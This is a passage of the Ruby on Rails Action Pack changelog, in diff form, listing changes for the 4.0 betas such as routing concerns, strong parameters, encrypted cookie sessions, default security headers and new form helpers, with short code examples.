+ Fixes #10180.
+
+ *Derek Watson + Andrew White*
+
+* Element of the collection for `options_from_collection_for_select` helper can
+ optionally contain html attributes as the last element of the array as
+ `options_for_select` helper.
+
+ *Vasiliy Ermolovich*
+
+* Fix explicit names on multiple file fields. If a file field tag has
+ the multiple option, it is turned into an array field (appending `[]`),
+ but if an explicit name is passed to `file_field` the `[]` is not
+ appended.
+ Fixes #9830.
+
+ *Ryan McGeary*
+
+* Add block support for the `mail_to` helper, similar to the `link_to` helper.
+
+ *Sam Pohlenz*
+
+* Automatically configure cookie-based sessions to be encrypted if
+ `secret_key_base` is set, falling back to signed if only `secret_token`
+ is set. Automatically upgrade existing signed cookie-based sessions from
+ Rails 3.x to be encrypted if both `secret_key_base` and `secret_token`
+ are set, or signed with the new key generator if only `secret_token` is
+ set. This leaves only the `config.session_store :cookie_store` option and
+ removes the two new options introduced in 4.0.0.beta1:
+ `encrypted_cookie_store` and `upgrade_signature_to_encryption_cookie_store`.
+
+ *Trevor Turk*
+
+* Ensure consistent fallback to the default layout lookup for layouts set
+ using symbols or procs that return `nil`.
+
+ All of the following layouts will result in the default layout lookup:
+
+ layout nil
+
+ layout proc { nil }
+
+ layout :returns_nil
+ def returns_nil
+ nil
+ end
+
+ Previously symbols and procs which returned `nil` resulted in no layout which
+ differed from the `layout nil` behavior. To get the "no layout" behavior just
+ return `false` instead of `nil` for `layout`.
+
+ *Chris Nicola*
+
+* Create `UpgradeLegacySignedCookieJar` to transparently upgrade existing signed
+ cookies generated by Rails 3.x to avoid invalidating them when upgrading to Rails 4.x.
+
+ *Trevor Turk + Neeraj Singh*
+
+* Raise an `ArgumentError` when a clashing named route is defined.
+
+ *Trevor Turk*
+
+* Allow default url options to accept host with protocol such as `http://`
+
+ config.action_mailer.default_url_options = { host: "http://mydomain.com" }
+
+ *Richard Schneeman*
+
+* Ensure that digest authentication responds with a 401 status when a basic
+ header is received.
+
+ *Brad Dunbar*
+
+* Include I18n locale fallbacks in view lookup.
+ Fixes #3512.
+
+ *Juan Barreneche*
+
+* Integration and functional tests allow headers and rack env
+ variables to be passed when performing requests.
+ Fixes #6513.
+
+ Example:
+
+ # integration test
+ get "/success", {}, "HTTP_REFERER" => "http://test.com/",
+ "Accepts" => "text/plain, text/html"
+
+ # functional test
+ @request.headers["Accepts"] = "text/plain, text/html"
+
+ *Yves Senn*
+
+* Http::Headers respects headers that are not prefixed with HTTP_
+
+ *Yves Senn*
+
+* Fix incorrectly appended square brackets to a multiple select box
+ if an explicit name has been given and it already ends with "[]"
+
+ Before:
+
+ select(:category, [], {}, multiple: true, name: "post[category][]")
+ # => <select name="post[category][][]" ...>
+
+ After:
+
+ select(:category, [], {}, multiple: true, name: "post[category][]")
+ # => <select name="post[category][]" ...>
+
+ *Olek Janiszewski*
+
+* Fixed regression when using `assert_template` to verify files sent using
+ `render file: 'README.md'`.
+ Fixes #9464.
+
+ *Justin Coyne*
+
+* Fixed `ActionView::Helpers::CaptureHelper#content_for` regression when trying to use it in
+ a boolean statement.
+ Fixes #9360.
+
+ *Nikolay Shebanov*
+
+* `format: true` does not override existing format constraints.
+ Fixes #9466.
+
+ Example:
+
+ # This will force the .json extension.
+ get '/json_only', to: ok, format: true, constraints: { format: /json/ }
+
+ *Yves Senn*
+
+* Skip valid encoding checks for non-String parameters that come
+ from the matched route's defaults.
+ Fixes #9435.
+
+ Example:
+
+ root to: 'main#posts', page: 1
+
+ *Yves Senn*
+
+* Don't verify Regexp requirements for non-Regexp `:constraints`.
+ Fixes #9432.
+
+ Example:
+
+ get '/photos.:format' => 'feeds#photos', constraints: {format: 'xml'}
+
+ *Yves Senn*
+
+* Make `ActionDispatch::Journey::Path::Pattern#new` raise more meaningful exception message.
+
+ *Thierry Zires*
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Fix `respond_to` not using formats that have no block if all is present. *Michael Grosser*
+
+* New applications use an encrypted session store by default.
+
+ *Santiago Pastorino*
+
+* Determine the controller#action from only the matched path when using the
+ shorthand syntax. Previously the complete path was used, which led
+ to problems with nesting (scopes and namespaces).
+ Fixes #7554.
+
+ Example:
+
+ # This will route to questions#new.
+ scope ':locale' do
+ get 'questions/new'
+ end
+
+ *Yves Senn*
+
+* Remove support for parsing XML parameters from request. If you still want to parse XML
+ parameters, please install `actionpack-xml_parser' gem.
+
+ *Prem Sichanugrist*
+
+* Remove support for parsing YAML parameters from request.
+
+ *Aaron Patterson*
+
+* Add a message when you have no routes defined to both `rake routes` and
+ GET "/rails/info/routes" that lets you know you have none defined and links
+ to the Rails guide on the topic.
+
+ *Steve Klabnik*
+
+* Change `image_alt` method to replace underscores/hyphens to spaces in filenames.
+
+ Previously, underscored filenames became `alt="A_long_file_name_with_underscores"`
+ in HTML, which is poor for accessibility. For instance, Apple's VoiceOver Utility
+ pronounces each underscore. `A_long_file_name` thus would be read as `A underscore
+ long underscore file underscore name.` Now underscored or hyphenated filenames
+ (both of which are very popular naming conventions) read more naturally in
+ screen readers by converting both hyphens and underscores to spaces.
+
+ Before:
+
+ image_tag('underscored_file_name.png')
+ # => <img alt="Underscored_file_name" src="/assets/underscored_file_name.png" />
+
+ After:
+
+ image_tag('underscored_file_name.png')
+ # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
+
+ *Nick Cox*
+
+* We don't support Ruby constant notation in the `:controller` option for route
+ definitions. So, this raises an `ArgumentError` now:
+
+ resources :posts, controller: "Admin::Posts" # WRONG
+
+ Use path notation instead:
+
+ resources :posts, controller: "admin/posts" # RIGHT
+
+ *Yves Senn*
+
+* `assert_template` can be used to verify the locals of partials,
+ which live inside a directory.
+
+ # Prefixed partials inside directories worked and still work.
+ assert_template partial: 'directory/_partial', locals: {name: 'John'}
+
+ # This did not work but does now.
+ assert_template partial: 'directory/partial', locals: {name: 'John'}
+
+ Fixes #8516.
+
+ *Yves Senn*
+
+* Fix `content_tag_for` with array HTML option.
+ It would embed array as string instead of joining it like `content_tag` does:
+
+ content_tag(:td, class: ["foo", "bar"]){}
+ # => <td class="foo bar"></td>
+
+ Before:
+
+ content_tag_for(:td, item, class: ["foo", "bar"])
+ # => <td class="item ["foo", "bar"]" id="item_1"></td>
+
+ After:
+
+ content_tag_for(:td, item, class: ["foo", "bar"])
+ # => <td class="item foo bar" id="item_1"></td>
+
+ *Semyon Perepelitsa*
+
+* Remove `BestStandardsSupport` middleware, !DOCTYPE html already triggers
+ standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx
+ and ChromeFrame header has been moved to `config.action_dispatch.default_headers`
+
+ *Guillermo Iguaran*
+
+* Fix CSRF protection and `current_url?` helper to work with HEAD requests
+ now that `ActionDispatch::Head` has been removed in favor of `Rack::Head`.
+
+ *Michiel Sikkes*
+
+* Change `asset_path` to not include `SCRIPT_NAME` when it's used
+ from a mounted engine. Fixes #8119.
+
+ *Piotr Sarnacki*
+
+* Add JavaScript based routing path matcher to `/rails/info/routes`.
+ Routes can now be filtered by whether or not they match a path.
+
+ *Richard Schneeman*
+
+* Change the behavior of route defaults so that explicit defaults are no longer
+ required where the key is not part of the path. For example:
+
+ resources :posts, bucket_type: 'posts'
+
+ will be required whenever constructing the url from a hash such as a functional
+ test or using `url_for` directly. However using the explicit form alters the
+ behavior so it's not required:
+
+ resources :projects, defaults: { bucket_type: 'projects' }
+
+ This changes existing behavior slightly in that any routes which only differ
+ in their defaults will match the first route rather than the closest match.
+
+ *Andrew White*
+
+* Add support for routing constraints other than Regexp and String.
+ For example this now allows the use of arrays like this:
+
+ get '/foo/:action', to: 'foo', constraints: { subdomain: %w[www admin] }
+
+ or constraints where the request method returns an Fixnum like this:
+
+ get '/foo', to: 'foo#index', constraints: { port: 8080 }
+
+ Note that this only applies to constraints on the request - path constraints
+ still need to be specified as Regexps as the various constraints are compiled
+ into a single Regexp.
+
+ *Andrew White*
+
+* Fix a bug in integration tests where setting the port via a url passed to
+ the process method was ignored when constructing the request environment.
+
+ *Andrew White*
+
+* Allow `:selected` to be set on `date_select` tag helper.
+
+ *Colin Burn-Murdoch*
+
+* Fixed JSON params parsing regression for non-object JSON content.
+
+ *Dylan Smith*
+
+* Extract `ActionDispatch::PerformanceTest` into https://github.com/rails/rails-perftest
+ You can add the gem to your Gemfile to keep using performance tests.
+
+ gem 'rails-perftest'
+
+ *Yves Senn*
+
+* Added view_cache_dependency API for declaring dependencies that affect
+ cache digest computation.
+
+ *Jamis Buck*
+
+* `image_submit_tag` will set `alt` attribute from image source if not
+ specified.
+
+ *Nihad Abbasov*
+
+* Do not generate local variables for partials without object or collection.
+ Previously rendering a partial without giving `:object` or `:collection`
+ would generate a local variable with the partial name by default.
+
+ *Carlos Antonio da Silva*
+
+* Return the last valid, non-private IP address from the X-Forwarded-For,
+ Client-IP and Remote-Addr headers, in that order. Document the rationale
+ for that decision, and describe the options that can be passed to the
+ RemoteIp middleware to change it.
+ Fixes #7979.
+
+ *André Arko*, *Steve Klabnik*, *Alexey Gaziev*
+
+* Do not append second slash to `root_url` when using `trailing_slash: true`
+ Fixes #8700.
+
+ Before:
+
+ root_url(trailing_slash: true) # => http://test.host//
+
+ After:
+
+ root_url(trailing_slash: true) # => http://test.host/
+
+ *Yves Senn*

+* Allow to toggle dumps on error pages.
+
+ *Gosha Arinich*
+
+* Fix a bug in `content_tag_for` that prevents it from working without a block.
+
+ *Jasl*
+
+* Change the stylesheet of exception pages for development mode.
+ Additionally display also the line of code and fragment that raised
+ the exception in all exceptions pages.
+
+ *Guillermo Iguaran + Jorge Cuadrado*
+
+* Do not append `charset=` parameter when `head` is called with a
+ `:content_type` option.
+ Fixes #8661.
+
+ *Yves Senn*
+
+* Added `Mime::NullType` class. This allows to use `html?`, `xml?`, `json?`, etc.
+ when the format of the request is unknown, without raising an exception.
+
+ *Angelo Capilleri*
+
+* Integrate the Journey gem into Action Dispatch so that the global namespace
+ is not polluted with names that may be used as models.
+
+ *Andrew White*
+
+* Extract support for email address obfuscation via `:encode`, `:replace_at`, and `replace_dot`
+ options from the `mail_to` helper into the `actionview-encoded_mail_to` gem.
+
+ *Nick Reed + DHH*
+
+* Handle `:protocol` option in `stylesheet_link_tag` and `javascript_include_tag`
+
+ *Vasiliy Ermolovich*
+
+* Clear url helper methods when routes are reloaded. *Andrew White*
+
+* Fix a bug in `ActionDispatch::Request#raw_post` that caused `env['rack.input']`
+ to be read but not rewound.
+
+ *Matt Venables*
+
+* Prevent raising `EOFError` on multipart GET request (IE issue). *Adam Stankiewicz*
+
+* Rename all action callbacks from *_filter to *_action to avoid the misconception that these
+ callbacks are only suited for transforming or halting the response. With the new style,
+ it's more inviting to use them as they were intended, like setting shared ivars for views.
+
+ Example:
+
+ class PeopleController < ActionController::Base
+ before_action :set_person, except: [:index, :new, :create]
+ before_action :ensure_permission, only: [:edit, :update]
+
+ ...
+
+ private
+ def set_person
+ @person = current_account.people.find(params[:id])
+ end
+
+ def ensure_permission
+ current_person.can_change?(@person)
+ end
+ end
+
+ The old *_filter methods still work with no deprecation notice.
+
+ *DHH*
+
+* Add `cache_if` and `cache_unless` for conditional fragment caching:
+
+ Example:
+
+ <%= cache_if condition, project do %>
+ <b>All the topics on this project</b>
+ <%= render project.topics %>
+ <% end %>
+
+ # and
+
+ <%= cache_unless condition, project do %>
+ <b>All the topics on this project</b>
+ <%= render project.topics %>
+ <% end %>
+
+ *Stephen Ausman + Fabrizio Regini + Angelo Capilleri*
+
+* Add logging filter capability for redirect URLs:
+
+ config.filter_redirect << 'http://please.hide.it/'
+
+ *Fabrizio Regini*
+
+* Fixed a bug that ignores constraints on a glob route. This was caused because the constraint
+ regular expression is overwritten when the `routes.rb` file is processed. Fixes #7924
+
+ *Maura Fitzgerald*
+
+* More descriptive error messages when calling `render :partial` with
+ an invalid `:layout` argument.
+
+ Fixes #8376.
+
+ render partial: 'partial', layout: true
+
+ # results in ActionView::MissingTemplate: Missing partial /true
+
+ *Yves Senn*
+
+* Sweepers was extracted from Action Controller as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Add option flag to `CacheHelper#cache` to manually bypass automatic template digests:
+
+ <% cache project, skip_digest: true do %>
+ ...
+ <% end %>
+
+ *Drew Ulmer*
+
+* Do not sort Hash options in `grouped_options_for_select`. *Sergey Kojin*
+
+* Accept symbols as `send_data :disposition` value *Elia Schito*
+
+* Add i18n scope to `distance_of_time_in_words`. *Steve Klabnik*
+
+* `assert_template`:
+ - is no more passing with empty string.
+ - is now validating option keys. It accepts: `:layout`, `:partial`, `:locals` and `:count`.
+
+ *Roberto Soares*
+
+* Allow setting a symbol as path in scope on routes. This is now allowed:
+
+ scope :api do
+ resources :users
+ end
+
+ It is also possible to pass multiple symbols to scope to shorten multiple nested scopes:
+
+ scope :api do
+ scope :v1 do
+ resources :users
+ end
+ end
+
+ can be rewritten as:
+
+ scope :api, :v1 do
+ resources :users
+ end
+
+ *Guillermo Iguaran + Amparo Luna*
+
+* Fix error when using a non-hash query argument named "params" in `url_for`.
+
+ Before:
+
+ url_for(params: "") # => undefined method `reject!' for "":String
+
+ After:
+
+ url_for(params: "") # => http://www.example.com?params=
+
+ *tumayun + Carlos Antonio da Silva*
+
+* Render every partial with a new `ActionView::PartialRenderer`. This resolves
+ issues when rendering nested partials.
+ Fixes #8197.
+
+ *Yves Senn*
+
+* Introduce `ActionView::Template::Handlers::ERB.escape_whitelist`. This is a list
+ of mime types where template text is not html escaped by default. It prevents `Jack & Joe`
+ from rendering as `Jack & Joe` for the whitelisted mime types. The default whitelist
+ contains `text/plain`.
+ Fixes #7976.
+
+ *Joost Baaij*
+
+* Fix input name when `multiple: true` and `:index` are set.
+
+ Before:
+
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ # => <input name=\"post[foo][comment_ids]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids]\" type=\"checkbox\" value=\"1\" />
+
+ After:
+
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ # => <input name=\"post[foo][comment_ids][]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids][]\" type=\"checkbox\" value=\"1\" />
+
+ Fixes #8108.

+
+* `date_select` helper accepts `with_css_classes: true` to add css classes similar with type
+ of generated select tags.
+
+ *Pavel Nikitin*
+
+* Only non-js/css under `app/assets` path will be included in default `config.assets.precompile`.
+
+ *Josh Peek*
+
+* Remove support for the `RAILS_ASSET_ID` environment configuration
+ (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* Remove old `asset_path` configuration (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* `assert_template` can be used to assert on the same template with different locals
+ Fixes #3675.
+
+ *Yves Senn*
+
+* Remove old asset tag concatenation (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* Accept `:remote` as symbolic option for `link_to` helper. *Riley Lynch*
+
+* Warn when the `:locals` option is passed to `assert_template` outside of a view test case
+ Fixes #3415.
+
+ *Yves Senn*
+
+* The `Rack::Cache` middleware is now disabled by default. To enable it,
+ set `config.action_dispatch.rack_cache = true` and add `gem rack-cache` to your Gemfile.
+
+ *Guillermo Iguaran*
+
+* `ActionController::Base.page_cache_extension` option is deprecated
+ in favour of `ActionController::Base.default_static_extension`.
+
+ *Francesco Rodriguez*
+
+* Action and Page caching has been extracted from Action Dispatch
+ as `actionpack-action_caching` and `actionpack-page_caching` gems.
+ Please read the `README.md` file on both gems for the usage.
+
+ *Francesco Rodriguez*
+
+* Failsafe exception returns `text/plain`. *Steve Klabnik*
+
+* Rename internal variables on `ActionController::TemplateAssertions` to prevent
+ naming collisions. `@partials`, `@templates` and `@layouts` are now prefixed with an underscore.
+ Fixes #7459.
+
+ *Yves Senn*
+
+* `resource` and `resources` don't modify the passed options hash.
+ Fixes #7777.
+
+ *Yves Senn*
+
+* Precompiled assets include aliases from `foo.js` to `foo/index.js` and vice versa.
+
+ # Precompiles phone-<digest>.css and aliases phone/index.css to phone.css.
+ config.assets.precompile = [ 'phone.css' ]
+
+ # Precompiles phone/index-<digest>.css and aliases phone.css to phone/index.css.
+ config.assets.precompile = [ 'phone/index.css' ]
+
+ # Both of these work with either precompile thanks to their aliases.
+ <%= stylesheet_link_tag 'phone', media: 'all' %>
+ <%= stylesheet_link_tag 'phone/index', media: 'all' %>

+ *Jeremy Kemper*
+
+* `assert_template` is no more passing with what ever string that matches
+ with the template name.
+
+ Before when we have a template `/layout/hello.html.erb`, `assert_template`
+ was passing with any string that matches. This behavior allowed false
+ positive like:
+
+ assert_template "layout"
+ assert_template "out/hello"
+
+ Now it only passes with:
+
+ assert_template "layout/hello"
+ assert_template "hello"
+
+ Fixes #3849.
+
+ *Hugolnx*
+
+* `image_tag` will set the same width and height for image if numerical value
+ passed to `size` option.
+
+ *Nihad Abbasov*
+
+* Deprecate `Mime::Type#verify_request?` and `Mime::Type.browser_generated_types`,
+ since they are no longer used inside of Rails, they will be removed in Rails 4.1.
+
+ *Michael Grosser*
+
+* `ActionDispatch::Http::UploadedFile` now delegates `close` to its tempfile. *Sergio Gil*
+
+* Add `ActionController::StrongParameters`, this module converts `params` hash into
+ an instance of ActionController::Parameters that allows whitelisting of permitted
+ parameters. Non-permitted parameters are forbidden to be used in Active Model by default
+ For more details check the documentation of the module or the
+ [strong_parameters gem](https://github.com/rails/strong_parameters)
+
+ *DHH + Guillermo Iguaran*
+
+* Remove Integration between `attr_accessible`/`attr_protected` and
+ `ActionController::ParamsWrapper`. ParamWrapper now wraps all the parameters returned
+ by the class method `attribute_names`.
+
+ *Guillermo Iguaran*
+
+* Log now displays the correct status code when an exception is raised.
+ Fixes #7646.
+
+ *Yves Senn*
+
+* Allow pass couple extensions to `ActionView::Template.register_template_handler` call.
+
+ *Tima Maslyuchenko*
+
+* Sprockets integration has been extracted from Action Pack to the `sprockets-rails`
+ gem. `rails` gem is depending on `sprockets-rails` by default.
+
+ *Guillermo Iguaran*
+
+* `ActionDispatch::Session::MemCacheStore` now uses `dalli` instead of the deprecated
+ `memcache-client` gem.
+
+ *Arun Agrawal + Guillermo Iguaran*
+
+* Support multiple etags in If-None-Match header. *Travis Warlick*
+
+* Allow to configure how unverified request will be handled using `:with`
+ option in `protect_from_forgery` method.
+
+ Valid unverified request handling methods are:
+
+ - `:exception` - Raises ActionController::InvalidAuthenticityToken exception.
+ - `:reset_session` - Resets the session.
+ - `:null_session` - Provides an empty session during request but doesn't
+ reset it completely. Used as default if `:with` option is not specified.
+
+ New applications are generated with:
+
+ protect_from_forgery with: :exception
+
+ *Sergey Nartimov*
+
+* Add `.ruby` template handler, this handler simply allows arbitrary Ruby code as a template. *Guillermo Iguaran*
+
+* Add `separator` option for `ActionView::Helpers::TextHelper#excerpt`:
+
+ excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+ # => ...a very beautiful...
+
+ *Guirec Corbel*
+
+* Added controller-level etag additions that will be part of the action etag computation *Jeremy Kemper/DHH*
+
+ class InvoicesController < ApplicationController
+ etag { current_user.try :id }
+
+ def show
+ # Etag will differ even for the same invoice when it's viewed by a different current_user
+ @invoice = Invoice.find(params[:id])
+ fresh_when(@invoice)
+ end
+ end
+
+* Add automatic template digests to all `CacheHelper#cache` calls (originally spiked in the `cache_digests` plugin) *DHH*
+
+* When building a URL fails, add missing keys provided by Journey. Failed URL
+ generation now returns a 500 status instead of a 404.
+
+ *Richard Schneeman*
+
+* Deprecate availability of `ActionView::RecordIdentifier` in controllers by default.
+ It's view specific and can be easily included in controllers manually if someone
+ really needs it. Also deprecate calling `ActionController::RecordIdentifier.dom_id` and
+ `dom_class` directly, in favor of `ActionView::RecordIdentifier.dom_id` and `dom_class`.
+ `RecordIdentifier` will be removed from `ActionController::Base` in Rails 4.1.
+
+ *Piotr Sarnacki*
+
+* Fix `ActionView::RecordIdentifier` to work as a singleton. *Piotr Sarnacki*
+
+* Deprecate `Template#mime_type`, it will be removed in Rails 4.1 in favor of `#type`.
+ *Piotr Sarnacki*
+
+* Move vendored html-scanner from `action_controller` to `action_view` directory. If you
+ require it directly, please use 'action_view/vendor/html-scanner', reference to
+ 'action_controller/vendor/html-scanner' will be removed in Rails 4.1. *Piot Sarnacki*
+
+* Fix handling of date selects when using both disabled and discard options.
+ Fixes #7431.
+
+ *Vasiliy Ermolovich*
+
+* `ActiveRecord::SessionStore` is extracted out of Rails into a gem `activerecord-session_store`.
+ Setting `config.session_store` to `:active_record_store` will no longer work and will break
+ if the `activerecord-session_store` gem isn't available. *Prem Sichanugrist*
+
+* Fix `select_tag` when `option_tags` is nil.
+ Fixes #7404.
+
+ *Sandeep Ravichandran*
+
+* Add `Request#formats=(extensions)` that lets you set multiple formats directly in a prioritized order.
+
+ Example of using this for custom iphone views with an HTML fallback:
+
+ class ApplicationController < ActionController::Base
+ before_filter :adjust_format_for_iphone_with_html_fallback
+
+ private
+ def adjust_format_for_iphone_with_html_fallback
+ request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+ end
+ end
+
+ *DHH*
+
+* Add Routing Concerns to declare common routes that can be reused inside
+ others resources and routes.
+
+ Code before:
+
+ resources :messages do
+ resources :comments
+ end
+
+ resources :posts do
+ resources :comments
+ resources :images, only: :index
+ end
+
+ Code after:
+
+ concern :commentable do
+ resources :comments
+ end
+
+ concern :image_attachable do
+ resources :images, only: :index
+ end
+
+ resources :messages, concerns: :commentable
+
+ resources :posts, concerns: [:commentable, :image_attachable]
+
+ *DHH + Rafael Mendonça França*
+
+* Add `start_hour` and `end_hour` options to the `select_hour` helper. *Evan Tann*
+
+* Raises an `ArgumentError` when the first argument in `form_for` contain `nil`
+ or is empty.
+
+ *Richard Schneeman*
+
+* Add 'X-Frame-Options' => 'SAMEORIGIN'
+ 'X-XSS-Protection' => '1; mode=block' and
+ 'X-Content-Type-Options' => 'nosniff'
+ as default headers.
+
+ *Egor Homakov*
+
+* Allow data attributes to be set as a first-level option for `form_for`, so you can write `form_for @record, data: { behavior: 'autosave' }` instead of `form_for @record, html: { data: { behavior: 'autosave' } }` *DHH*
+
+* Deprecate `button_to_function` and `link_to_function` helpers.
+
+ We recommend the use of Unobtrusive JavaScript instead. For example:
+
+ link_to "Greeting", "#", class: "nav_link"
+
+ $(function() {
+ $('.nav_link').click(function() {
+ // Some complex code
+
+ return false;
+ });
+ });
+
+ or
+
+ link_to "Greeting", '#', onclick: "alert('Hello world!'); return false", class: "nav_link"
+
+ for simple cases.
+
+ *Rafael Mendonça França*
+
+* `javascript_include_tag :all` will now not include `application.js` if the file does not exists. *Prem Sichanugrist*
+
+* Send an empty response body when call `head` with status between 100 and 199, 204, 205 or 304.
+
+ *Armand du Plessis*
+
+* Fixed issue with where digest authentication would not work behind a proxy. *Arthur Smith*
+
+* Added `ActionController::Live`. Mix it in to your controller and you can
+ stream data to the client live. For example:
+
+ class FooController < ActionController::Base
+ include ActionController::Live
+
+ def index
+ 100.times {
+ # Client will see this as it's written
+ response.stream.write "hello world\n"
+ sleep 1
+ }
+ response.stream.close
+ end
+ end
+
+ *Aaron Patterson*
+
+* Remove `ActionDispatch::Head` middleware in favor of `Rack::Head`. *Santiago Pastorino*
+
+* Deprecate `:confirm` in favor of `data: { confirm: "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
+
+ *Carlos Galdino + Rafael Mendonça França*
+
+* Show routes in exception page while debugging a `RoutingError` in development.
+
+ *Richard Schneeman + Mattt Thompson + Yves Senn*
+
+* Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
+
+ class ApplicationController
+ add_flash_types :error, :warning
+ end
+
+ If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, error: 'message'` in a controller.
+
+ *kennyj*
+
+* Remove Active Model dependency from Action Pack. *Guillermo Iguaran*
+
+* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+
+ get Rack::Utils.escape('こんにちは') => 'home#index'
+
+ You just have to write the unicode route:
+
+ get 'こんにちは' => 'home#index'
+
+ *kennyj*
+
+* Return proper format on exceptions. *Santiago Pastorino*
+
+* Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. *Piotr Sarnacki*
+
+* Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. *Piotr Sarnacki*
+
+* Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl` into `ActionController::ForceSSL#force_ssl_redirect`
+
+ *Jeremy Friesen*
+
+* Make possible to use a block in `button_to` if the button text is hard
+ to fit into the name parameter, e.g.:
+
+ <%= button_to [:make_happy, @user] do %>
+ Make happy <strong><%= @user.name %></strong>
+ <% end %>
+ # => "<form method="post" action="/users/1/make_happy" class="button_to">
+ # <div>
+ # <button type="submit">
+ # Make happy <strong>Name</strong>
+ # </button>
+ # </div>
+ # </form>"
+
+ *Sergey Nartimov*
+
+* Change a way of ordering helpers from several directories. Previously,
+ when loading helpers from multiple paths, all of the helpers files were
+ gathered into one array an then they were sorted. Helpers from different
+ directories should not be mixed before loading them to make loading more
+ predictable. The most common use case for such behavior is loading helpers
+ from engines. When you load helpers from application and engine Foo, in
+ that order, first rails will load all of the helpers from application,
+ sorted alphabetically and then it will do the same for Foo engine.
+
+ *Piotr Sarnacki*
+
+* `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as
+ false to not escape the result.
+
+ *Li Ellis Gallardo + Rafael Mendonça França*
+
+* `truncate` now accepts a block to show extra content when the text is truncated. *Li Ellis Gallardo*
+
+* Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`,
+ `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. *Carlos Galdino*
+
+* Add `color_field` and `color_field_tag` helpers. *Carlos Galdino*
+
+* `assert_generates`, `assert_recognizes`, and `assert_routing` all raise
+ `Assertion` instead of `RoutingError` *David Chelimsky*
+
+* URL path parameters with invalid encoding now raise `ActionController::BadRequest`. *Andrew White*
+
+* Malformed query and request parameter hashes now raise `ActionController::BadRequest`. *Andrew White*
+
+* Add `divider` option to `grouped_options_for_select` to generate a separator
+ `optgroup` automatically, and deprecate `prompt` as third argument, in favor
+ of using an options hash. *Nicholas Greenfield*
+
+* Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. *Alex Soulim*
+
+* Removed old text helper apis from `highlight`, `excerpt` and `word_wrap`. *Jeremy Walker*
+
+* Templates without a handler extension now raises a deprecation warning but still
+ defaults to ERB. In future releases, it will simply return the template contents. *Steve Klabnik*
+
+* Deprecate `:disable_with` in favor of `data: { disable_with: "Text" }` option from `submit_tag`, `button_tag` and `button_to` helpers.
+
+ *Carlos Galdino + Rafael Mendonça França*
+
+* Remove `:mouseover` option from `image_tag` helper. *Rafael Mendonça França*
+
+* The `select` method (select tag) forces `:include_blank` if `required` is true and
+ `display size` is one and `multiple` is not true. *Angelo Capilleri*
+
+* Copy literal route constraints to defaults so that url generation know about them.
+ The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
+
+ *Andrew White*
+
+* `respond_to` and `respond_with` now raise `ActionController::UnknownFormat` instead
+ of directly returning head 406. The exception is rescued and converted to 406
+ in the exception handling middleware. *Steven Soroka*
+
+* Allows `assert_redirected_to` to match against a regular expression. *Andy Lindeman*
+
+* Add backtrace to development routing error page. *Richard Schneeman*
+
+* Replace `include_seconds` boolean argument with `include_seconds: true` option
+ in `distance_of_time_in_words` and `time_ago_in_words` signature. *Dmitriy Kiriyenko*
+
+* Make current object and counter (when it applies) variables accessible when
+ rendering templates with :object / :collection. *Carlos Antonio da Silva*
+
+* JSONP now uses mimetype `text/javascript` instead of `application/json`. *omjokine*
+
+* Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
+
+* Session arguments passed to `process` calls in functional tests are now merged into
+ the existing session, whereas previously they would replace the existing session.
+ This change may break some existing tests if they are asserting the exact contents of
+ the session but should not break existing tests that only assert individual keys.
+
+ *Andrew White*
+
+* Add `index` method to FormBuilder class. *Jorge Bejar*
+
+* Remove the leading \n added by textarea on `assert_select`. *Santiago Pastorino*
+
+* Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms`
+ to `false`. This change breaks remote forms that need to work also without JavaScript,
+ so if you need such behavior, you can either set it to `true` or explicitly pass
+ `authenticity_token: true` in form options.
+
+* Added `ActionDispatch::SSL` middleware that when included force all the requests to be under HTTPS protocol. *Rafael Mendonça França*
+
+* Add `include_hidden` option to select tag. With `include_hidden: false` select with `multiple` attribute doesn't generate hidden input with blank value. *Vasiliy Ermolovich*
+
+* Removed default `size` option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. *Philip Arndt*
+
+* Removed default `cols` and `rows` options from the `text_area` helper. *Philip Arndt*
+
+* Adds support for layouts when rendering a partial with a given collection. *serabe*
+
+* Allows the route helper `root` to take a string argument. For example, `root 'pages#main'`. *bcardarella*
+
+* Forms of persisted records use always PATCH (via the `_method` hack). *fxn*
+
+* For resources, both PATCH and PUT are routed to the `update` action. *fxn*
+
+* Don't ignore `force_ssl` in development. This is a change of behavior - use a `:if` condition to recreate the old behavior.
+
+ class AccountsController < ApplicationController
+ force_ssl if: :ssl_configured?
+
+ def ssl_configured?
+ !Rails.env.development?
+ end
+ end
+
+ *Pat Allan*
+
+* Adds support for the PATCH verb:
+ * Request objects respond to `patch?`.
+ * Routes have a new `patch` method, and understand `:patch` in the
+ existing places where a verb is configured, like `:via`.
+ * New method `patch` available in functional tests.
+ * If `:patch` is the default verb for updates, edits are
+ tunneled as PATCH rather than as PUT, and routing acts accordingly.
